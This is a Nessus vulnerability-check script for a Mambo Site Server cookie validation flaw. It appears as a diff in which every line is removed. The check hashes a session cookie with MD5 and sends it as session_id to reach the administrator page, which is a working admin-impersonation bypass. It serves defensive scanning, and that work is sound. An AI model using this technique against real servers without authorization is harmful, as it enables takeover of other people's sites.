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-
- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(11361);
- script_bugtraq_id(6926);
- script_version ("$Revision: 1.4 $");
-
- name["english"] = "Mambo Site Server Cookie Validation";
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote Mambo Site Server improperly validates the cookies
- that are sent back by the user.
-
- As a result, a user may impersonate the administrator by
- using the MD5 value of a received cookie and modify
- the remote server.
-
- Solution : Upgrade to Mambo 4.0.12 RC3 or newer
- Risk factor : High";
-
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Checks for the presence of Mambo's flaw";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port))exit(0);
- if(!can_host_php(port:port)) exit(0);
-
-
- foreach dir (make_list(cgi_dirs(), "/mambo"))
- {
- req = http_get(item:string(dir, "/index.php?option=logout"), port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if(res == NULL) exit(0);
-
- cookie = egrep(pattern:"^Set-Cookie.*sessioncookie", string:res, icase:TRUE);
- if(cookie)
- {
- cookie -= string("\r\n");
- id = ereg_replace(pattern:".*=(.*)", string:cookie, replace:"\1");
- req = http_get(item:string(dir, "/administrator/index2.php?session_id=", hexstr(MD5(id))), port:port);
- res = http_keepalive_send_recv(port:port, data:req);
- if("Mambo Open Source - Administration" >< res)security_hole(port);
- }
- }
-